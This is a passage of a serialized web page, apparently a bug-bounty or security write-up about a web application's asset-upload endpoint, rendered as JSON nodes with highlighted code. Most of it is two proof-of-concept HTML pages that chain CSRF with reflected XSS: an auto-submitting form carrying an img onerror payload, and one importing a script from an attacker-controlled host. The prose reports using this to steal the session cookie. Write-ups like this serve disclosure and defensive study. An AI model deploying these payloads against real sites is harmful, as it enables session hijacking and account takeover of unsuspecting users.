\u003C",{"type":24,"tag":83,"props":32186,"children":32187},{"style":90},[32188],{"type":29,"value":32189},"form",{"type":24,"tag":83,"props":32191,"children":32192},{"style":137},[32193],{"type":29,"value":32194}," id",{"type":24,"tag":83,"props":32196,"children":32197},{"style":143},[32198],{"type":29,"value":1275},{"type":24,"tag":83,"props":32200,"children":32201},{"style":187},[32202],{"type":29,"value":32203},"\"form123\"",{"type":24,"tag":83,"props":32205,"children":32206},{"style":137},[32207],{"type":29,"value":32208}," action",{"type":24,"tag":83,"props":32210,"children":32211},{"style":143},[32212],{"type":29,"value":1275},{"type":24,"tag":83,"props":32214,"children":32215},{"style":187},[32216],{"type":29,"value":32217},"\"https://stashh.io/upload_asset\"",{"type":24,"tag":83,"props":32219,"children":32220},{"style":137},[32221],{"type":29,"value":16846},{"type":24,"tag":83,"props":32223,"children":32224},{"style":143},[32225],{"type":29,"value":1275},{"type":24,"tag":83,"props":32227,"children":32228},{"style":187},[32229],{"type":29,"value":32230},"\"POST\"",{"type":24,"tag":83,"props":32232,"children":32233},{"style":137},[32234],{"type":29,"value":32235}," enctype",{"type":24,"tag":83,"props":32237,"children":32238},{"style":143},[32239],{"type":29,"value":1275},{"type":24,"tag":83,"props":32241,"children":32242},{"style":187},[32243],{"type":29,"value":32244},"\"multipart/form-data\"",{"type":24,"tag":83,"props":32246,"children":32247},{"style":137},[32248],{"type":29,"value":32249}," value",{"type":24,"tag":83,"props":32251,"children":32252},{"style":143},[32253],{"type":29,"value":1275},{"type":24,"tag":83,"props":32255,"children":32256},{"style":187},[32257],{"type":29,"value":32258},"\"asd\"",{"type":24,"tag":83,"props":32260,"children":32261},{"style":32114},[32262],{"type":29,"value":5738},{"type":24,"tag":83,"props":32264,"children":32265},{"class":85,"line":203},[32266,32271,32275,32280,32284,32289,32294,32298,32303,32307,32311,32316],{"type":24,"tag":83,"props":32267,"children":32268},{"style":32114},[32269],{"type":29,"value":32270},"     \u003C",{"type":24,"tag":83,"props":32272,"children":32273},{"style":90},[32274],{"type":29,"value":8112},{"type":24,"tag":83,"props":32276,"children":32277},{"style":137},[32278],{"type":29,"value":32279}," type",{"type":24,"tag":83,"props":32281,"children":32282},{"style":143},[32283],{"type":29,"value":1275},{"type":24,"tag":83,"props":32285,"children":32286},{"style":187},[32287],{"type":29,"value":32288},"\"file\"",{"type":24,"tag":83,"props":32290,"children":32291},{"style":137},[32292],{"type":29,"value":32293}," name",{"type":24,"tag":83,"props":32295,"children":32296},{"style":143},[32297],{"type":29,"value":1275},{"type":24,"tag":83,"props":32299,"children":32300},{"style":187},[32301],{"type":29,"value":32302},"\"data\"",{"type":24,"tag":83,"props":32304,"children":32305},{"style":137},[32306],{"type":29,"value":32194},{"type":24,"tag":83,"props":32308,"children":32309},{"style":143},[32310],{"type":29,"value":1275},{"type":24,"tag":83,"props":32312,"children":32313},{"style":187},[32314],{"type":29,"value":32315},"\"file123\"",{"type":24,"tag":83,"props":32317,"children":32318},{"style":32114},[32319],{"type":29,"value":5738},{"type":24,"tag":83,"props":32321,"children":32322},{"class":85,"line":212},[32323,32328,32332,32336,32340,32345,32349,32353,32358,32362,32366,32370,32375,32380,32385,32390,32395,32399,32404,32409,32414,32418,32423,32428,32432,32437,32442,32447,32452,32457,32462,32467,32471,32476,32481,32486,32491,32496,32500,32505,32510,32514],{"type":24,"tag":83,"props":32324,"children":32325},{"style":32114},[32326],{"type":29,"value":32327},"      \u003C",{"type":24,"tag":83,"props":32329,"children":32330},{"style":90},[32331],{"type":29,"value":8112},{"type":24,"tag":83,"props":32333,"children":32334},{"style":137},[32335],{"type":29,"value":32279},{"type":24,"tag":83,"props":32337,"children":32338},{"style":143},[32339],{"type":29,"value":1275},{"type":24,"tag":83,"props":32341,"children":32342},{"style":187},[32343],{"type":29,"value":32344},"\"hidden\"",{"type":24,"tag":83,"props":32346,"children":32347},{"style":137},[32348],{"type":29,"value":32293},{"type":24,"tag":83,"props":32350,"children":32351},{"style":143},[32352],{"type":29,"value":1275},{"type":24,"tag":83,"props":32354,"children":32355},{"style":187},[32356],{"type":29,"value":32357},"\"config\"",{"type":24,"tag":83,"props":32359,"children":32360},{"style":137},[32361],{"type":29,"value":32249},{"type":24,"tag":83,"props":32363,"children":32364},{"style":143},[32365],{"type":29,"value":1275},{"type":24,"tag":83,"props":32367,"children":32368},{"style":187},[32369],{"type":29,"value":19800},{"type":24,"tag":83,"props":32371,"children":32372},{"style":90},[32373],{"type":29,"value":32374},"{"",{"type":24,"tag":83,"props":32376,"children":32377},{"style":187},[32378],{"type":29,"value":32379},"address",{"type":24,"tag":83,"props":32381,"children":32382},{"style":90},[32383],{"type":29,"value":32384},"":"",{"type":24,"tag":83,"props":32386,"children":32387},{"style":187},[32388],{"type":29,"value":32389},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":24,"tag":83,"props":32391,"children":32392},{"style":90},[32393],{"type":29,"value":32394},"<",{"type":24,"tag":83,"props":32396,"children":32397},{"style":187},[32398],{"type":29,"value":2510},{"type":24,"tag":83,"props":32400,"children":32401},{"style":90},[32402],{"type":29,"value":32403},"/",{"type":24,"tag":83,"props":32405,"children":32406},{"style":187},[32407],{"type":29,"value":32408},"src",{"type":24,"tag":83,"props":32410,"children":32411},{"style":90},[32412],{"type":29,"value":32413},"=",{"type":24,"tag":83,"props":32415,"children":32416},{"style":187},[32417],{"type":29,"value":19015},{"type":24,"tag":83,"props":32419,"children":32420},{"style":90},[32421],{"type":29,"value":32422}," ",{"type":24,"tag":83,"props":32424,"children":32425},{"style":187},[32426],{"type":29,"value":32427},"onerror",{"type":24,"tag":83,"props":32429,"children":32430},{"style":90},[32431],{"type":29,"value":32413},{"type":24,"tag":83,"props":32433,"children":32434},{"style":187},[32435],{"type":29,"value":32436},"alert",{"type":24,"tag":83,"props":32438,"children":32439},{"style":90},[32440],{"type":29,"value":32441},"(",{"type":24,"tag":83,"props":32443,"children":32444},{"style":187},[32445],{"type":29,"value":32446},"document",{"type":24,"tag":83,"props":32448,"children":32449},{"style":90},[32450],{"type":29,"value":32451},".",{"type":24,"tag":83,"props":32453,"children":32454},{"style":187},[32455],{"type":29,"value":32456},"domain",{"type":24,"tag":83,"props":32458,"children":32459},{"style":90},[32460],{"type":29,"value":32461},")>","",{"type":24,"tag":83,"props":32463,"children":32464},{"style":187},[32465],{"type":29,"value":32466},"to",{"type":24,"tag":83,"props":32468,"children":32469},{"style":90},[32470],{"type":29,"value":32384},{"type":24,"tag":83,"props":32472,"children":32473},{"style":187},[32474],{"type":29,"value":32475},"profile",{"type":24,"tag":83,"props":32477,"children":32478},{"style":90},[32479],{"type":29,"value":32480},"-",{"type":24,"tag":83,"props":32482,"children":32483},{"style":187},[32484],{"type":29,"value":32485},"assets",{"type":24,"tag":83,"props":32487,"children":32488},{"style":90},[32489],{"type":29,"value":32490},"","",{"type":24,"tag":83,"props":32492,"children":32493},{"style":187},[32494],{"type":29,"value":32495},"type",{"type":24,"tag":83,"props":32497,"children":32498},{"style":90},[32499],{"type":29,"value":32384},{"type":24,"tag":83,"props":32501,"children":32502},{"style":187},[32503],{"type":29,"value":32504},"icon",{"type":24,"tag":83,"props":32506,"children":32507},{"style":90},[32508],{"type":29,"value":32509},""}",{"type":24,"tag":83,"props":32511,"children":32512},{"style":187},[32513],{"type":29,"value":19800},{"type":24,"tag":83,"props":32515,"children":32516},{"style":32114},[32517],{"type":29,"value":32518}," />\n",{"type":24,"tag":83,"props":32520,"children":32521},{"class":85,"line":256},[32522,32526,32530,32534,32538,32543,32547,32551,32556],{"type":24,"tag":83,"props":32523,"children":32524},{"style":32114},[32525],{"type":29,"value":32327},{"type":24,"tag":83,"props":32527,"children":32528},{"style":90},[32529],{"type":29,"value":8112},{"type":24,"tag":83,"props":32531,"children":32532},{"style":137},[32533],{"type":29,"value":32279},{"type":24,"tag":83,"props":32535,"children":32536},{"style":143},[32537],{"type":29,"value":1275},{"type":24,"tag":83,"props":32539,"children":32540},{"style":187},[32541],{"type":29,"value":32542},"\"submit\"",{"type":24,"tag":83,"props":32544,"children":32545},{"style":137},[32546],{"type":29,"value":32249},{"type":24,"tag":83,"props":32548,"children":32549},{"style":143},[32550],{"type":29,"value":1275},{"type":24,"tag":83,"props":32552,"children":32553},{"style":187},[32554],{"type":29,"value":32555},"\"Submit request\"",{"type":24,"tag":83,"props":32557,"children":32558},{"style":32114},[32559],{"type":29,"value":32518},{"type":24,"tag":83,"props":32561,"children":32562},{"class":85,"line":270},[32563,32568,32572],{"type":24,"tag":83,"props":32564,"children":32565},{"style":32114},[32566],{"type":29,"value":32567},"    \u003C/",{"type":24,"tag":83,"props":32569,"children":32570},{"style":90},[32571],{"type":29,"value":32189},{"type":24,"tag":83,"props":32573,"children":32574},{"style":32114},[32575],{"type":29,"value":5738},{"type":24,"tag":83,"props":32577,"children":32578},{"class":85,"line":302},[32579,32584,32588],{"type":24,"tag":83,"props":32580,"children":32581},{"style":32114},[32582],{"type":29,"value":32583},"  \u003C/",{"type":24,"tag":83,"props":32585,"children":32586},{"style":90},[32587],{"type":29,"value":32138},{"type":24,"tag":83,"props":32589,"children":32590},{"style":32114},[32591],{"type":29,"value":5738},{"type":24,"tag":83,"props":32593,"children":32594},{"class":85,"line":324},[32595],{"type":24,"tag":83,"props":32596,"children":32597},{"emptyLinePlaceholder":16},[32598],{"type":29,"value":3422},{"type":24,"tag":83,"props":32600,"children":32601},{"class":85,"line":345},[32602,32606,32610],{"type":24,"tag":83,"props":32603,"children":32604},{"style":32114},[32605],{"type":29,"value":32133},{"type":24,"tag":83,"props":32607,"children":32608},{"style":90},[32609],{"type":29,"value":32154},{"type":24,"tag":83,"props":32611,"children":32612},{"style":32114},[32613],{"type":29,"value":5738},{"type":24,"tag":83,"props":32615,"children":32616},{"class":85,"line":358},[32617],{"type":24,"tag":83,"props":32618,"children":32619},{"emptyLinePlaceholder":16},[32620],{"type":29,"value":3422},{"type":24,"tag":83,"props":32622,"children":32623},{"class":85,"line":367},[32624,32629],{"type":24,"tag":83,"props":32625,"children":32626},{"style":107},[32627],{"type":29,"value":32628},"    (async ()=>",{"type":24,"tag":83,"props":32630,"children":32631},{"style":90},[32632],{"type":29,"value":10628},{"type":24,"tag":83,"props":32634,"children":32635},{"class":85,"line":406},[32636,32641,32646,32651,32656,32660,32664,32669,32673,32678,32683,32688],{"type":24,"tag":83,"props":32637,"children":32638},{"style":137},[32639],{"type":29,"value":32640},"        const",{"type":24,"tag":83,"props":32642,"children":32643},{"style":137},[32644],{"type":29,"value":32645}," blob",{"type":24,"tag":83,"props":32647,"children":32648},{"style":143},[32649],{"type":29,"value":32650}," = ",{"type":24,"tag":83,"props":32652,"children":32653},{"style":117},[32654],{"type":29,"value":32655},"await",{"type":24,"tag":83,"props":32657,"children":32658},{"style":143},[32659],{"type":29,"value":223},{"type":24,"tag":83,"props":32661,"children":32662},{"style":117},[32663],{"type":29,"value":32655},{"type":24,"tag":83,"props":32665,"children":32666},{"style":101},[32667],{"type":29,"value":32668}," fetch",{"type":24,"tag":83,"props":32670,"children":32671},{"style":143},[32672],{"type":29,"value":558},{"type":24,"tag":83,"props":32674,"children":32675},{"style":187},[32676],{"type":29,"value":32677},"\"/sapo.png\"",{"type":24,"tag":83,"props":32679,"children":32680},{"style":143},[32681],{"type":29,"value":32682},")).",{"type":24,"tag":83,"props":32684,"children":32685},{"style":101},[32686],{"type":29,"value":32687},"blob",{"type":24,"tag":83,"props":32689,"children":32690},{"style":143},[32691],{"type":29,"value":7483},{"type":24,"tag":83,"props":32693,"children":32694},{"class":85,"line":427},[32695],{"type":24,"tag":83,"props":32696,"children":32697},{"emptyLinePlaceholder":16},[32698],{"type":29,"value":3422},{"type":24,"tag":83,"props":32700,"children":32701},{"class":85,"line":440},[32702,32706,32711,32715,32719,32724,32729,32733,32737,32742,32747,32752,32757],{"type":24,"tag":83,"props":32703,"children":32704},{"style":137},[32705],{"type":29,"value":2809},{"type":24,"tag":83,"props":32707,"children":32708},{"style":137},[32709],{"type":29,"value":32710}," f",{"type":24,"tag":83,"props":32712,"children":32713},{"style":143},[32714],{"type":29,"value":32650},{"type":24,"tag":83,"props":32716,"children":32717},{"style":90},[32718],{"type":29,"value":14864},{"type":24,"tag":83,"props":32720,"children":32721},{"style":101},[32722],{"type":29,"value":32723}," File",{"type":24,"tag":83,"props":32725,"children":32726},{"style":143},[32727],{"type":29,"value":32728},"([",{"type":24,"tag":83,"props":32730,"children":32731},{"style":137},[32732],{"type":29,"value":32687},{"type":24,"tag":83,"props":32734,"children":32735},{"style":143},[32736],{"type":29,"value":1232},{"type":24,"tag":83,"props":32738,"children":32739},{"style":187},[32740],{"type":29,"value":32741},"'sapo.png'",{"type":24,"tag":83,"props":32743,"children":32744},{"style":143},[32745],{"type":29,"value":32746},", {",{"type":24,"tag":83,"props":32748,"children":32749},{"style":137},[32750],{"type":29,"value":32751},"type:",{"type":24,"tag":83,"props":32753,"children":32754},{"style":187},[32755],{"type":29,"value":32756}," 'image/png'",{"type":24,"tag":83,"props":32758,"children":32759},{"style":143},[32760],{"type":29,"value":32761},"})\n",{"type":24,"tag":83,"props":32763,"children":32764},{"class":85,"line":449},[32765,32769,32774,32778,32782,32787],{"type":24,"tag":83,"props":32766,"children":32767},{"style":137},[32768],{"type":29,"value":32640},{"type":24,"tag":83,"props":32770,"children":32771},{"style":137},[32772],{"type":29,"value":32773}," dataTransfer",{"type":24,"tag":83,"props":32775,"children":32776},{"style":143},[32777],{"type":29,"value":32650},{"type":24,"tag":83,"props":32779,"children":32780},{"style":90},[32781],{"type":29,"value":14864},{"type":24,"tag":83,"props":32783,"children":32784},{"style":101},[32785],{"type":29,"value":32786}," DataTransfer",{"type":24,"tag":83,"props":32788,"children":32789},{"style":143},[32790],{"type":29,"value":267},{"type":24,"tag":83,"props":32792,"children":32793},{"class":85,"line":458},[32794,32799,32803,32808,32812,32816,32820,32825],{"type":24,"tag":83,"props":32795,"children":32796},{"style":137},[32797],{"type":29,"value":32798},"        dataTransfer",{"type":24,"tag":83,"props":32800,"children":32801},{"style":143},[32802],{"type":29,"value":161},{"type":24,"tag":83,"props":32804,"children":32805},{"style":137},[32806],{"type":29,"value":32807},"items",{"type":24,"tag":83,"props":32809,"children":32810},{"style":143},[32811],{"type":29,"value":161},{"type":24,"tag":83,"props":32813,"children":32814},{"style":101},[32815],{"type":29,"value":9384},{"type":24,"tag":83,"props":32817,"children":32818},{"style":143},[32819],{"type":29,"value":558},{"type":24,"tag":83,"props":32821,"children":32822},{"style":137},[32823],{"type":29,"value":32824},"f",{"type":24,"tag":83,"props":32826,"children":32827},{"style":143},[32828],{"type":29,"value":581},{"type":24,"tag":83,"props":32830,"children":32831},{"class":85,"line":1065},[32832],{"type":24,"tag":83,"props":32833,"children":32834},{"emptyLinePlaceholder":16},[32835],{"type":29,"value":3422},{"type":24,"tag":83,"props":32837,"children":32838},{"class":85,"line":1668},[32839,32844,32848,32853,32857,32862,32866,32870],{"type":24,"tag":83,"props":32840,"children":32841},{"style":137},[32842],{"type":29,"value":32843},"        file123",{"type":24,"tag":83,"props":32845,"children":32846},{"style":143},[32847],{"type":29,"value":161},{"type":24,"tag":83,"props":32849,"children":32850},{"style":137},[32851],{"type":29,"value":32852},"files",{"type":24,"tag":83,"props":32854,"children":32855},{"style":143},[32856],{"type":29,"value":32650},{"type":24,"tag":83,"props":32858,"children":32859},{"style":137},[32860],{"type":29,"value":32861},"dataTransfer",{"type":24,"tag":83,"props":32863,"children":32864},{"style":143},[32865],{"type":29,"value":161},{"type":24,"tag":83,"props":32867,"children":32868},{"style":137},[32869],{"type":29,"value":32852},{"type":24,"tag":83,"props":32871,"children":32872},{"style":143},[32873],{"type":29,"value":321},{"type":24,"tag":83,"props":32875,"children":32876},{"class":85,"line":1713},[32877,32882],{"type":24,"tag":83,"props":32878,"children":32879},{"style":90},[32880],{"type":29,"value":32881},"    }",{"type":24,"tag":83,"props":32883,"children":32884},{"style":107},[32885],{"type":29,"value":32886},")()\n",{"type":24,"tag":83,"props":32888,"children":32889},{"class":85,"line":1730},[32890],{"type":24,"tag":83,"props":32891,"children":32892},{"emptyLinePlaceholder":16},[32893],{"type":29,"value":3422},{"type":24,"tag":83,"props":32895,"children":32896},{"class":85,"line":1770},[32897,32901,32905],{"type":24,"tag":83,"props":32898,"children":32899},{"style":32114},[32900],{"type":29,"value":32583},{"type":24,"tag":83,"props":32902,"children":32903},{"style":90},[32904],{"type":29,"value":32154},{"type":24,"tag":83,"props":32906,"children":32907},{"style":32114},[32908],{"type":29,"value":5738},{"type":24,"tag":83,"props":32910,"children":32911},{"class":85,"line":1778},[32912,32916,32920],{"type":24,"tag":83,"props":32913,"children":32914},{"style":32114},[32915],{"type":29,"value":32168},{"type":24,"tag":83,"props":32917,"children":32918},{"style":90},[32919],{"type":29,"value":32121},{"type":24,"tag":83,"props":32921,"children":32922},{"style":32114},[32923],{"type":29,"value":5738},{"type":24,"tag":25,"props":32925,"children":32926},{},[32927],{"type":29,"value":32928},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":24,"tag":25,"props":32930,"children":32931},{},[32932],{"type":29,"value":32933},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":24,"tag":25,"props":32935,"children":32936},{},[32937],{"type":29,"value":32938},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":24,"tag":25,"props":32940,"children":32941},{},[32942],{"type":29,"value":32943},"From here, we were able to steal the session cookie from local storage.",{"type":24,"tag":73,"props":32945,"children":32947},{"className":77,"code":32946,"language":76,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32948],{"type":24,"tag":32,"props":32949,"children":32950},{"__ignoreMap":7},[32951,32966,32981,33012,33087,33138,33326,33365,33380,33395,33402,33417,33424,33435,33486,33493,33548,33575,33610,33617,33652,33659,33680,33691,33698,33713],{"type":24,"tag":83,"props":32952,"children":32953},{"class":85,"line":86},[32954,32958,32962],{"type":24,"tag":83,"props":32955,"children":32956},{"style":32114},[32957],{"type":29,"value":5552},{"type":24,"tag":83,"props":32959,"children":32960},{"style":90},[32961],{"type":29,"value":32121},{"type":24,"tag":83,"props":32963,"children":32964},{"style":32114},[32965],{"type":29,"value":5738},{"type":24,"tag":83,"props":32967,"children":32968},{"class":85,"line":113},[32969,32973,32977],{"type":24,"tag":83,"props":32970,"children":32971},{"style":32114},[32972],{"type":29,"value":32133},{"type":24,"tag":83,"props":32974,"children":32975},{"style":90},[32976],{"type":29,"value":32138},{"type":24,"tag":83,"props":32978,"children":32979},{"style":32114},[32980],{"type":29,"value":5738},{"type":24,"tag":83,"props":32982,"children":32983},{"class":85,"line":128},[32984,32988,32992,32996,33000,33004,33008],{"type":24,"tag":83,"props":32985,"children":32986},{"style":32114},[32987],{"type":29,"value":32133},{"type":24,"tag":83,"props":32989,"children":32990},{"style":90},[32991],{"type":29,"value":32154},{"type":24,"tag":83,"props":32993,"children":32994},{"style":32114},[32995],{"type":29,"value":10209},{"type":24,"tag":83,"props":32997,"children":32998},{"style":107},[32999],{"type":29,"value":32163},{"type":24,"tag":83,"props":33001,"children":33002},{"style":32114},[33003],{"type":29,"value":32168},{"type":24,"tag":83,"props":33005,"children":33006},{"style":90},[33007],{"type":29,"value":32154},{"type":24,"tag":83,"props":33009,"children":33010},{"style":32114},[33011],{"type":29,"value":5738},{"type":24,"tag":83,"props":33013,"children":33014},{"class":85,"line":183},[33015,33019,33023,33027,33031,33035,33039,33043,33047,33051,33055,33059,33063,33067,33071,33075,33079,33083],{"type":24,"tag":83,"props":33016,"children":33017},{"style":32114},[33018],{"type":29,"value":32184},{"type":24,"tag":83,"props":33020,"children":33021},{"style":90},[33022],{"type":29,"value":32189},{"type":24,"tag":83,"props":33024,"children":33025},{"style":137},[33026],{"type":29,"value":32194},{"type":24,"tag":83,"props":33028,"children":33029},{"style":143},[33030],{"type":29,"value":1275},{"type":24,"tag":83,"props":33032,"children":33033},{"style":187},[33034],{"type":29,"value":32203},{"type":24,"tag":83,"props":33036,"children":33037},{"style":137},[33038],{"type":29,"value":32208},{"type":24,"tag":83,"props":33040,"children":33041},{"style":143},[33042],{"type":29,"value":1275},{"type":24,"tag":83,"props":33044,"children":33045},{"style":187},[33046],{"type":29,"value":32217},{"type":24,"tag":83,"props":33048,"children":33049},{"style":137},[33050],{"type":29,"value":16846},{"type":24,"tag":83,"props":33052,"children":33053},{"style":143},[33054],{"type":29,"value":1275},{"type":24,"tag":83,"props":33056,"children":33057},{"style":187},[33058],{"type":29,"value":32230},{"type":24,"tag":83,"props":33060,"children":33061},{"style":137},[33062],{"type":29,"value":32235},{"type":24,"tag":83,"props":33064,"children":33065},{"style":143},[33066],{"type":29,"value":1275},{"type":24,"tag":83,"props":33068,"children":33069},{"style":187},[33070],{"type":29,"value":32244},{"type":24,"tag":83,"props":33072,"children":33073},{"style":137},[33074],{"type":29,"value":32249},{"type":24,"tag":83,"props":33076,"children":33077},{"style":143},[33078],{"type":29,"value":1275},{"type":24,"tag":83,"props":33080,"children":33081},{"style":187},[33082],{"type":29,"value":32258},{"type":24,"tag":83,"props":33084,"children":33085},{"style":32114},[33086],{"type":29,"value":5738},{"type":24,"tag":83,"props":33088,"children":33089},{"class":85,"line":203},[33090,33094,33098,33102,33106,33110,33114,33118,33122,33126,33130,33134],{"type":24,"tag":83,"props":33091,"children":33092},{"style":32114},[33093],{"type":29,"value":32270},{"type":24,"tag":83,"props":33095,"children":33096},{"style":90},[33097],{"type":29,"value":8112},{"type":24,"tag":83,"props":33099,"children":33100},{"style":137},[33101],{"type":29,"value":32279},{"type":24,"tag":83,"props":33103,"children":33104},{"style":143},[33105],{"type":29,"value":1275},{"type":24,"tag":83,"props":33107,"children":33108},{"style":187},[33109],{"type":29,"value":32288},{"type":24,"tag":83,"props":33111,"children":33112},{"style":137},[33113],{"type":29,"value":32293},{"type":24,"tag":83,"props":33115,"children":33116},{"style":143},[33117],{"type":29,"value":1275},{"type":24,"tag":83,"props":33119,"children":33120},{"style":187},[33121],{"type":29,"value":32302},{"type":24,"tag":83,"props":33123,"children":33124},{"style":137},[33125],{"type":29,"value":32194},{"type":24,"tag":83,"props":33127,"children":33128},{"style":143},[33129],{"type":29,"value":1275},{"type":24,"tag":83,"props":33131,"children":33132},{"style":187},[33133],{"type":29,"value":32315},{"type":24,"tag":83,"props":33135,"children":33136},{"style":32114},[33137],{"type":29,"value":5738},{"type":24,"tag":83,"props":33139,"children":33140},{"class":85,"line":212},[33141,33145,33149,33153,33157,33161,33165,33169,33173,33177,33181,33185,33190,33194,33199,33203,33208,33212,33217,33222,33226,33230,33235,33240,33245,33250,33255,33260,33264,33269,33273,33277,33282,33286,33291,33296,33301,33305,33309,33313,33318,33322],{"type":24,"tag":83,"props":33142,"children":33143},{"style":32114},[33144],{"type":29,"value":32327},{"type":24,"tag":83,"props":33146,"children":33147},{"style":90},[33148],{"type":29,"value":8112},{"type":24,"tag":83,"props":33150,"children":33151},{"style":137},[33152],{"type":29,"value":32279},{"type":24,"tag":83,"props":33154,"children":33155},{"style":143},[33156],{"type":29,"value":1275},{"type":24,"tag":83,"props":33158,"children":33159},{"style":187},[33160],{"type":29,"value":32344},{"type":24,"tag":83,"props":33162,"children":33163},{"style":137},[33164],{"type":29,"value":32293},{"type":24,"tag":83,"props":33166,"children":33167},{"style":143},[33168],{"type":29,"value":1275},{"type":24,"tag":83,"props":33170,"children":33171},{"style":187},[33172],{"type":29,"value":32357},{"type":24,"tag":83,"props":33174,"children":33175},{"style":137},[33176],{"type":29,"value":32249},{"type":24,"tag":83,"props":33178,"children":33179},{"style":143},[33180],{"type":29,"value":1275},{"type":24,"tag":83,"props":33182,"children":33183},{"style":187},[33184],{"type":29,"value":19800},{"type":24,"tag":83,"props":33186,"children":33187},{"style":90},[33188],{"type":29,"value":33189},"{"",{"type":24,"tag":83,"props":33191,"children":33192},{"style":187},[33193],{"type":29,"value":32379},{"type":24,"tag":83,"props":33195,"children":33196},{"style":90},[33197],{"type":29,"value":33198},"":"<",{"type":24,"tag":83,"props":33200,"children":33201},{"style":187},[33202],{"type":29,"value":2510},{"type":24,"tag":83,"props":33204,"children":33205},{"style":90},[33206],{"type":29,"value":33207},"/",{"type":24,"tag":83,"props":33209,"children":33210},{"style":187},[33211],{"type":29,"value":32408},{"type":24,"tag":83,"props":33213,"children":33214},{"style":90},[33215],{"type":29,"value":33216},"=",{"type":24,"tag":83,"props":33218,"children":33219},{"style":187},[33220],{"type":29,"value":33221},"x onerror",{"type":24,"tag":83,"props":33223,"children":33224},{"style":90},[33225],{"type":29,"value":33216},{"type":24,"tag":83,"props":33227,"children":33228},{"style":187},[33229],{"type":29,"value":19223},{"type":24,"tag":83,"props":33231,"children":33232},{"style":90},[33233],{"type":29,"value":33234},"(`",{"type":24,"tag":83,"props":33236,"children":33237},{"style":187},[33238],{"type":29,"value":33239},"https",{"type":24,"tag":83,"props":33241,"children":33242},{"style":90},[33243],{"type":29,"value":33244},"://",{"type":24,"tag":83,"props":33246,"children":33247},{"style":187},[33248],{"type":29,"value":33249},"attacker-server",{"type":24,"tag":83,"props":33251,"children":33252},{"style":90},[33253],{"type":29,"value":33254},".",{"type":24,"tag":83,"props":33256,"children":33257},{"style":187},[33258],{"type":29,"value":33259},"com",{"type":24,"tag":83,"props":33261,"children":33262},{"style":90},[33263],{"type":29,"value":33207},{"type":24,"tag":83,"props":33265,"children":33266},{"style":187},[33267],{"type":29,"value":33268},"leak",{"type":24,"tag":83,"props":33270,"children":33271},{"style":90},[33272],{"type":29,"value":33254},{"type":24,"tag":83,"props":33274,"children":33275},{"style":187},[33276],{"type":29,"value":76},{"type":24,"tag":83,"props":33278,"children":33279},{"style":90},[33280],{"type":29,"value":33281},"`)>","",{"type":24,"tag":83,"props":33283,"children":33284},{"style":187},[33285],{"type":29,"value":32466},{"type":24,"tag":83,"props":33287,"children":33288},{"style":90},[33289],{"type":29,"value":33290},"":"",{"type":24,"tag":83,"props":33292,"children":33293},{"style":187},[33294],{"type":29,"value":33295},"profile-assets",{"type":24,"tag":83,"props":33297,"children":33298},{"style":90},[33299],{"type":29,"value":33300},"","",{"type":24,"tag":83,"props":33302,"children":33303},{"style":187},[33304],{"type":29,"value":32495},{"type":24,"tag":83,"props":33306,"children":33307},{"style":90},[33308],{"type":29,"value":33290},{"type":24,"tag":83,"props":33310,"children":33311},{"style":187},[33312],{"type":29,"value":32504},{"type":24,"tag":83,"props":33314,"children":33315},{"style":90},[33316],{"type":29,"value":33317},""}",{"type":24,"tag":83,"props":33319,"children":33320},{"style":187},[33321],{"type":29,"value":19800},{"type":24,"tag":83,"props":33323,"children":33324},{"style":32114},[33325],{"type":29,"value":32518},{"type":24,"tag":83,"props":33327,"children":33328},{"class":85,"line":256},[33329,33333,33337,33341,33345,33349,33353,33357,33361],{"type":24,"tag":83,"props":33330,"children":33331},{"style":32114},[33332],{"type":29,"value":32327},{"type":24,"tag":83,"props":33334,"children":33335},{"style":90},[33336],{"type":29,"value":8112},{"type":24,"tag":83,"props":33338,"children":33339},{"style":137},[33340],{"type":29,"value":32279},{"type":24,"tag":83,"props":33342,"children":33343},{"style":143},[33344],{"type":29,"value":1275},{"type":24,"tag":83,"props":33346,"children":33347},{"style":187},[33348],{"type":29,"value":32542},{"type":24,"tag":83,"props":33350,"children":33351},{"style":137},[33352],{"type":29,"value":32249},{"type":24,"tag":83,"props":33354,"children":33355},{"style":143},[33356],{"type":29,"value":1275},{"type":24,"tag":83,"props":33358,"children":33359},{"style":187},[33360],{"type":29,"value":32555},{"type":24,"tag":83,"props":33362,"children":33363},{"style":32114},[33364],{"type":29,"value":32518},{"type":24,"tag":83,"props":33366,"children":33367},{"class":85,"line":270},[33368,33372,33376],{"type":24,"tag":83,"props":33369,"children":33370},{"style":32114},[33371],{"type":29,"value":32567},{"type":24,"tag":83,"props":33373,"children":33374},{"style":90},[33375],{"type":29,"value":32189},{"type":24,"tag":83,"props":33377,"children":33378},{"style":32114},[33379],{"type":29,"value":5738},{"type":24,"tag":83,"props":33381,"children":33382},{"class":85,"line":302},[33383,33387,33391],{"type":24,"tag":83,"props":33384,"children":33385},{"style":32114},[33386],{"type":29,"value":32583},{"type":24,"tag":83,"props":33388,"children":33389},{"style":90},[33390],{"type":29,"value":32138},{"type":24,"tag":83,"props":33392,"children":33393},{"style":32114},[33394],{"type":29,"value":5738},{"type":24,"tag":83,"props":33396,"children":33397},{"class":85,"line":324},[33398],{"type":24,"tag":83,"props":33399,"children":33400},{"emptyLinePlaceholder":16},[33401],{"type":29,"value":3422},{"type":24,"tag":83,"props":33403,"children":33404},{"class":85,"line":345},[33405,33409,33413],{"type":2